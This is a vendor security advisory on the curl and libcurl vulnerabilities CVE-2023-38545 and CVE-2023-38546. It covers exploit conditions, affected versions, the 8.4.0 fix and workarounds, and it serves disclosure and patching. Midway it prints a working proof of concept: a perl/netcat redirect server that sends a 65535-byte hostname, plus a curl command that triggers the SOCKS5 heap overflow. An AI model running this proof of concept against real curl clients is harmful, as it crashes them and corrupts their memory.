close search bar

Sorry, not available in this language yet

close language selection

How to respond to the curl and libcurl vulnerabilities

Matthew Hogg

Oct 11, 2023 / 4 min read

As referenced in our previous post, the software development world has been bracing for additional details regarding two vulnerabilities associated with cURL, one of which was assessed as critical by the maintainer and original creator of the project. The wait ended this morning, as a fixed version was released and details about the vulnerabilities were provided.

Buffer overflow flaw

The first and more severe vulnerability, CVE-2023-38545, addresses a buffer overflow flaw that impacts both libcurl and the curl command line tool. The overflow can occur during a SOCKS5 handshake. If the handshake is slow, a user-supplied, unusually long hostname may not be resolved, and instead be copied into a target buffer for which it may exceed the allocated size. Heap-based buffer overflows such as these are known to lead to crashes, data corruption, and even arbitrary code execution.

This vulnerability impacts only applications that are instrumenting client/server communication using the SOCKS internet protocol. Although use of SOCKS is not unheard of or even rare, this condition does significantly reduce the impact of the vulnerability across the countless internet-connected devices that depend on curl.

CVE-2023-38545 impacts curl versions 7.69.0 through and including 8.3.0. The version released today, 8.4.0, completely addresses the risk of a buffer overflow by returning an error when a hostname exceeds 255 bytes, which is the specific trigger of the overflow. Curl is urging teams to upgrade immediately, especially if they do not already have hostname restrictions in place. For teams that cannot immediately upgrade to the fixed version, curl suggests some workarounds.

We’ve provided more details regarding the vulnerability and exploit conditions below.

Conditions required for exploitation

Check the following conditions to determine if an instance of curl is vulnerable.

For the curl CLI tool, all the following must be true:

  • The --limit-rate argument is provided and sets a rate of 65540 bytes per second or less.
  • Invocation of the curl tool uses SOCKS5 with a remote hostname. This can occur if at least one of the following is true:
    • The --socks5-hostname argument is passed
    •  --proxy or --preproxy arguments are set to use the scheme socks5h://
    • One of the proxy environment variables is set to use the socks5h:// scheme; for example, http_proxy, HTTPS_PROXY or ALL_PROXY

For the libcurl library, all the following must be true:

  • The CURLOPT_BUFFERSIZE option is not set, or if it is set, it is set to a value of 65540 or less.
  • Invocation of the curl tool uses SOCKS5 with a remote hostname. This can occur if at least one of the following is true:
    • One of the CURLOPT_PROXY or CURLOPT_PRE_PROXY options is set to use the scheme socks5h://
    • One of the proxy environment variables is set to use the socks5h:// scheme; for example, http_proxy, HTTPS_PROXY or ALL_PROXY

Even if these vulnerable configurations are present, additional requirements are still necessary for the vulnerability to be triggered.

  • The SOCKS5 handshake must be slow. The maintainers of curl have stated that typical server latency is likely to be slow enough to meet this requirement.
  • An attacker can control the final destination hostname that is supplied to an instance of curl that has a vulnerable configuration.

Proof of concept exploit

A proof-of-concept for this issue is shown below. An attacker must be able to run a SOCKS5 proxy on a remote IP address to create the required latency.

First, simulate a malicious attacker HTTP redirect server with the following command:

$ while true; do { perl -e 'print ("HTTP/1.1 301 Moved\r\nContent-Length: 0\r\nConnection: Close\r\nLocation: http://");print("A"x65535);print("\r\n\r\n")'; sleep 2; } | nc -4l [yourip] 8000; done

Then, trigger the vulnerability with this command:

$ curl -v --limit-rate 1024 --location --proxy socks5h://[remoteip]:1080 http://[yourip]:8000

Impacted versions

Versions 7.69.0 up to and including version 8.3.0 are vulnerable, but it should be noted that 7.x versions have fewer preconditions required for a vulnerable configuration, namely less hostname length restrictions and a target buffer size that cannot be overwritten by CURLOPT_BUFFERSIZE.

Successful exploitation of this vulnerability results in memory corruption of the curl client process. This corruption can lead to reading an invalid address, triggering an access violation, and causing denial-of-service by crashing the process. It is theorized that this memory corruption could potentially be weaponized to achieve remote code execution, but this has not yet been demonstrated.

Solution and workaround

The vulnerability is fixed in version 8.4.0 by this commit.

The curl maintainers have suggested the following workarounds:

  • Do not use CURLPROXY_SOCKS5_HOSTNAME proxies with curl.
  • Do not set a proxy environment variable to socks5h://.

Also supplied are a set of patches that can be applied directly to historic versions if an upgrade is not feasible.

The second vulnerability

A less severe vulnerability was disclosed that impacts only libcurl. CVE-2023-38546 is associated with a cookie injection flaw, but curl maintainers suggest that the series of conditions that must be met makes the likelihood of exploitation low. The versions impacted by this vulnerability are 7.9.1 through and including 8.3.0. Upgrading to curl 8.4.0 resolves the issue. Users are also advised to call curl_easy_setopt(cloned_curl, CURLOPT_COOKIELIST, "ALL"); after every call to curl_easy_duphandle();.

How customers can secure their applications with Black Duck

Synopsys Black Duck® Security Advisories provide customers with in-depth analysis of vulnerabilities in open source products, combining a range of available information with regular reviewing and monitoring to ensure accurate coverage. These advisories contain the details necessary to understand, prioritize, and remediate vulnerabilities within the context of your applications, and they’re normally published well in advance of the corresponding CVE analysis, if a CVE ID has been allocated.

Continue Reading

Explore Topics